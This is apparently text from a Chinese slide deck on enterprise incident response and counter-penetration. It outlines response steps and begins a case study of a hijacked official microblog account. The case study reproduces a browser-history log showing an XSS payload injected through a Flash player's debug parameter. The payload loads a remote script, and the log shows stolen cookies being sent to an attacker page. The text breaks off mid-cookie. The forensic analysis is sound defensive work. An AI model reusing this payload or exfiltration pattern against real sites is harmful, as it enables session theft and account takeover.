企业应急响应以及反渗透.PDF

“企业应急响应以及反渗透” 之真实案例分析 关于我 • piaca • 乌云⽩帽⼦ • 前新浪安全架构师 • Insight Labs 成员 • ⼋年安全从业经验 • 应急响应介绍 • ⼀些案例 • 总结 什么是应急响应？ 被“⿊”了 • 被⼊侵 • 被蠕⾍ • 被钓⻥ • 被 DDoS • 被劫持 • …… 为什么做应急响应？ 被逼的 为什么做应急响应？ • 保障业务 • 还原攻击 • 明确意图 • 解决⽅案 • 查漏补缺 • 司法途径 怎么做应急响应？ 怎么做应急响应？ • 确定攻击时间 • 查找攻击线索 • 梳理攻击流程 • 实施解决⽅案 • 定位攻击⼈，取证 为什么做反渗透？ 为什么反渗透？ • 被动变主动 • 攻击者都在做什么 • 确认攻击者是谁 • 取证 案例之官微帐号被盗 分析原因 • ⾮⼯作⼈员操作 • 帐号有被 cookie 登录 • 可是 cookie 有 httponly ================================================== URL : /zWI1bUQ Last Visit Date : 2012-7-16 19:22:27 ================================================== ================================================== URL : 42/index.php Last Visit Date : 2012-7-16 19:22:28 Referrer : /zWI1bUQ ================================================== ================================================== URL : http://**.***.com/_common/jwplayer/player.swf?debug=(function(){location.href=%27javascript:%22%3Cscript/src=42/e.js %3E%3C/script%3E%22%27}) Last Visit Date : 2012-7-16 19:22:28 Referrer : 42/index.php Title : player.swf (application/x-shockwave-flash 对象) ================================================== ================================================== URL : 42/e.php?opener=0cookie=ULV %3D1342421444188%3A342%3A12%3A1%3A306588567000.3021.1342421444076%3A1342141514702%3B%20__utma %3D182865017.844076418.1336462885.1341536058.1341543017.15%3B%20__utmz%3D182865017.1341473198.13.8.utmcsr%3D%7Cutmccn %3D%28referral%29%7Cutmcmd%3Dreferral%7Cutmcct%3D/bre